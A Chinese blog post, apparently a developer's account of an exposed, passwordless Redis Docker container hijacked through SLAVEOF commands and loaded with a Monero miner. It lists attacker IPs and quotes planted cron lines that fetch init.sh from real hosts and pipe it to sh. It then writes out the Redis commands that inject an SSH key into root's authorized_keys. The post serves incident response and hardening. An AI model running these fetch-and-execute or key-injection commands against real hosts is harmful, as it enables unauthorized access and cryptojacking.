这是一次工作中真实的亲身经历
在工作中我们使用 Redis 作为缓存来加速静态内容的加载,因为是开发环境所以我就用 docker 启动了一个 redis 镜像,所以懒得设置密码,本以为有 iptables 防火墙可以高枕无忧,但是最近使用有点问题。
redis 时不时自己就变成了只读模式,这个时候程序就开始报错,因为不是程序的错所以我直接就在 docekr 中重启 redis 容器,马上就好了,可过段时间有变成了只读模式,经过好几次以后,我开始有些恼火了,决定去看看到底发生了什么。
我看了日志以后发现大量的主从同步失败的错误,这让我有点蒙,我单机运行的 docker 我也没配置主从集群啊,日志如下:
- 1:M 06 Dec 2020 18:55:57.316 * MASTER MODE enabled (user request from 'id=447 addr=95.214.11.231:45924 fd=10 name= age=9 idle=0 flags=N db=0 sub=0 psub=0 multi=-1 qbuf=34 qbuf-free=32734 obl=0 oll=0 omem=0 events=r cmd=slaveof user=default')
- 1:S 06 Dec 2020 20:39:50.432 * Before turning into a replica, using my own master parameters to synthesize a cached master: I may be able to synchronize with the new master with just a partial transfer.
- 1:S 06 Dec 2020 20:39:50.432 * REPLICAOF 194.40.243.61:8886 enabled (user request from 'id=451 addr=95.215.108.217:50642 fd=10 name= age=1 idle=0 flags=N db=0 sub=0 psub=0 multi=-1 qbuf=47 qbuf-free=32721 obl=0 oll=0 omem=0 events=r cmd=slaveof user=default')
- 1:S 06 Dec 2020 20:39:50.540 * Connecting to MASTER 194.40.243.61:8886
- 1:S 06 Dec 2020 20:39:50.540 * MASTER <-> REPLICA sync started
- 1:S 06 Dec 2020 20:39:50.783 * Non blocking connect for SYNC fired the event.
- 1:S 06 Dec 2020 20:39:51.027 * Master replied to PING, replication can continue...
- 1:S 06 Dec 2020 20:39:51.514 * Trying a partial resynchronization (request 112ef008ac30c8568fcfc98f7aae6ee8df50ed57:1).
- 1:S 06 Dec 2020 20:39:51.759 * Full resync from master: ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ:1
- 1:S 06 Dec 2020 20:39:51.759 * Discarding previously cached master state.
- 1:S 06 Dec 2020 20:39:51.759 * MASTER <-> REPLICA sync: receiving 55648 bytes from master to disk
- 1:S 06 Dec 2020 20:39:52.246 * MASTER <-> REPLICA sync: Flushing old data
- 1:S 06 Dec 2020 20:39:52.246 * MASTER <-> REPLICA sync: Loading DB in memory
- 1:S 06 Dec 2020 20:39:52.246 # Wrong signature trying to load DB from file
- 1:S 06 Dec 2020 20:39:52.246 # Failed trying to load the MASTER synchronization DB from disk
- 1:S 06 Dec 2020 20:39:52.545 * Connecting to MASTER 194.40.243.61:8886
- 1:S 06 Dec 2020 20:39:52.545 * MASTER <-> REPLICA sync started
- 1:S 06 Dec 2020 20:39:52.789 * Non blocking connect for SYNC fired the event.
- 1:S 06 Dec 2020 20:39:53.033 # Error reply to PING from master: '-Reading from master: Connection reset by peer'
- 1:S 06 Dec 2020 20:39:53.546 * Connecting to MASTER 194.40.243.61:8886
- 1:S 06 Dec 2020 20:39:53.546 * MASTER <-> REPLICA sync started
- 1:S 06 Dec 2020 20:39:53.791 * Non blocking connect for SYNC fired the event.
如果你是单机运行但是有了这样的日志,那绝对是被入侵了。这段意思是主从同步,其中 Connecting to MASTER 194.40.243.61:8886 就是对方的地址,命令来自 95.215.108.217:50642,为了大家识别这些地址,我从日志中挑出了以下 IP 地址,Connecting to MASTER 列表:
- 194.40.243.61:8886
- 35.192.27.193:80
- 194.40.243.61:8880
- 188.119.112.132:8886
- 128.199.171.208:6380
- 207.154.207.132:55960
- 207.154.207.132:37695
- 128.199.171.208:1220
- 161.35.99.79:39103
- 161.35.99.79:35931
- 128.199.171.208:1241
- 210.12.190.10:1267
- 210.12.190.10:1268
- 210.12.190.10:1271
- 210.12.190.10:1272
- 210.12.190.10:1273
- 210.12.190.10:1274
- 67.205.157.233:36478
- 45.137.155.55:8886
- 194.40.243.167:8886
- 88.218.17.149:15365
- 88.218.17.149:12454
- 88.218.17.149:13047
- 88.218.17.149:21955
- 104.248.112.172:44834
- 104.248.112.172:18629
- 142.93.116.178:35248
- 142.93.116.178:43997
- 88.218.17.149:19233
- 188.166.115.185:30378
- 88.218.17.149:23034
- 88.218.17.37:12541
- 88.218.17.37:21271
- 128.199.171.208:1234
- 178.62.240.144:57046
- 167.172.145.26:10388
- 167.172.145.26:36065
- 178.62.223.106:34482
- 178.62.223.106:23015
- 92.242.40.225:8886
- 104.248.198.180:19593
- 194.38.20.199:8886
- 188.166.92.198:54860
- 188.166.92.198:53611
- 159.89.163.74:1220
- 159.89.163.74:1221
- 142.93.140.197:50208
- 142.93.140.197:53819
- 159.89.163.74:1223
- 188.166.152.198:37647
- 188.166.152.198:17394
- 188.166.13.100:29479
- 188.166.13.100:22159
- 188.166.58.81:19589
- 188.166.70.98:40729
- 188.166.70.98:15890
- 143.110.187.157:21680
- 143.110.187.157:25346
- 165.227.151.191:59782
- 154.91.1.27:10101
- 141.164.47.83:63000
- 157.245.100.20:43477
- 157.245.100.20:58575
- 165.227.102.206:29447
- 104.131.81.179:30005
- 104.131.81.179:48170
- 178.62.102.179:43069
- 178.62.102.179:27006
- 188.166.106.5:11758
- 178.128.155.181:40488
- 167.99.163.160:20957
- 167.99.163.160:49295
- 138.197.210.189:33335
- 165.232.138.205:18096
- 165.232.138.205:46546
- 188.166.54.248:45164
- 188.166.54.248:34914
- 128.199.37.199:24426
- 198.211.99.211:47326
- 198.211.99.211:39673
- 139.59.16.64:44599
- 139.59.16.64:11540
- 138.68.54.170:31793
- 138.68.54.170:25005
- 188.166.91.7:37741
- 188.166.91.7:42802
- 138.68.183.165:35335
- 138.68.183.165:22452
- 142.93.50.173:25325
- 142.93.50.173:23792
- 142.93.50.173:13525
- 142.93.50.173:13899
- 142.93.50.173:19329
- 142.93.50.173:29539
- 138.68.183.165:48978
- 143.198.124.39:1222
- 104.248.237.196:16925
- 104.248.237.196:47093
- 128.199.141.243:34177
- 128.199.141.243:37472
- 167.99.143.235:14851
- 167.99.143.235:42826
- 167.99.143.235:21195
- 167.99.143.235:30970
- 167.99.143.235:33550
- 167.99.143.235:34788
- 206.189.9.158:56047
- 206.189.9.158:31275
- 143.198.104.124:47274
- 143.198.104.124:43780
- 104.236.99.158:14211
- 104.236.99.158:14425
- 206.189.9.158:36649
- 206.189.9.158:55361
- 206.189.9.158:22502
- 157.230.118.63:41023
- 157.230.118.63:48564
- 178.62.60.101:25121
- 178.62.60.101:51908
- 143.198.66.32:23971
- 143.198.66.32:48826
- 143.198.66.32:12419
- 159.203.36.26:23873
- 139.59.94.133:59421
- 167.71.236.188:13393
user request from 列表:
- 95.214.11.231
- 212.8.247.179
- 95.215.108.217
- 35.192.27.193
- 128.199.171.208
- 207.154.207.132
- 161.35.99.79
- 210.12.190.10
- 67.205.157.233
- 88.218.17.149
- 172.17.0.1
- 104.248.112.172
- 142.93.116.178
- 188.166.115.185
- 185.105.109.211
- 178.57.217.160
- 88.218.17.37
- 178.62.240.144
- 167.172.145.26
- 109.248.133.98
- 45.80.68.76
- 92.242.40.200
- 178.62.223.106
- 45.151.144.113
- 194.87.98.91
- 31.184.249.13
- 193.124.118.53
- 104.248.198.180
- 185.12.95.70
- 188.166.92.198
- 45.67.230.242
- 159.89.163.74
- 142.93.140.197
- 188.166.152.198
- 188.166.13.100
- 188.166.58.81
- 188.166.70.98
- 195.19.192.26
- 143.110.187.157
- 109.237.96.124
- 165.227.151.191
- 95.181.163.124
- 121.28.15.100
- 183.67.81.253
- 139.180.136.107
- 157.245.100.20
- 165.227.102.206
- 104.131.81.179
- 82.114.253.13
- 62.76.41.46
- 89.223.91.225
- 178.62.102.179
- 188.166.106.5
- 178.128.155.181
- 167.99.163.160
- 138.197.210.189
- 165.232.138.205
- 188.166.54.248
- 128.199.37.199
- 198.211.99.211
- 139.59.16.64
- 138.68.54.170
- 188.166.91.7
- 138.68.183.165
- 142.93.50.173
- 143.198.124.39
- 104.248.237.196
- 128.199.141.243
- 167.99.143.235
- 206.189.9.158
- 143.198.104.124
- 104.236.99.158
- 157.230.118.63
- 178.62.60.101
- 143.198.66.32
- 159.203.36.26
- 139.59.94.133
- 167.71.236.188
当看到上面的日志以后,基本文件系统里也会被写入文件,比如我看到 redis 用户有如下文件内容,这肯定是不对的,redis 没这些东西:
进一步查看 zzh 文件,我发现其中有定时任务:
- */5 * * * * root wd1 -q -O- http://45.133.203.192/cleanfda/init.sh | sh
- */2 * * * * root cd1 -fsSL http://195.58.39.46/cleanfda/init.sh | sh
- */3 * * * * root wget -q -O- http://195.58.39.46/cleanfda/init.sh | sh
- */4 * * * * root curl -fsSL http://45.133.203.192/cleanfda/init.sh | sh
我随便打开一个 sh 文件,里面就是挖矿代码,挖的门罗币,这也就解释了我的redis日志为啥一直报错,因为是开发环境着急使用,我就没保留现场,先重新创建个容器用着。
本次很幸运,虽然危害很大但损失很小,因为我是在 docker 中运行的 redis,所以对主机无害,因为是开发环境,里面不存在生产数据,而且里面本就是都是公开的数据,逃过一劫。
其实本次最大的漏洞是在 docker 运行绑定端口的时候,绑定是的 0.0.0.0:6379。正确的应该绑定 127.0.0.1:6379。
首先,docker 在绑定端口的时候直接修改了防火墙,如果不指定IP,那么默认是 0.0.0.0:6379,docker 设置防火墙开放 0.0.0.0:6379,任何 IP 都可以访问 6379。但你如果设置 127.0.0.1:6379,那只有本机地址能访问 6379。所以造成了端口向外暴露。docker 会接管防火墙!
其次,因为原本设计的 redis 是内部使用,并不对外公开,也就没有密码,直接裸奔,也造成了端口暴露以后在全互联网裸奔的情况。
最后,redis 是可以将内容保存到本地磁盘中的,这就造成了通过 redis 间接可以写入文件,例如:
redis 执行以下命令,将 ssh key 写入被害机器,注意首尾要加换行符
- set jjj "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABA....\n\n"
- config set dir /root/.ssh
- config set dbfilename authorized_keys
- save
此时就将 ssh key 写入了 /root/.ssh/authorized_keys,就实现了免密登陆,黑客可以直接 ssh 进来了。同理还可以写入定时任务文件,让被害机器执行黑客的脚本。
对黑客脚本的分析复现请参见:《Redis 未授权访问漏洞分析 cleanfda 脚本复现漏洞挖矿》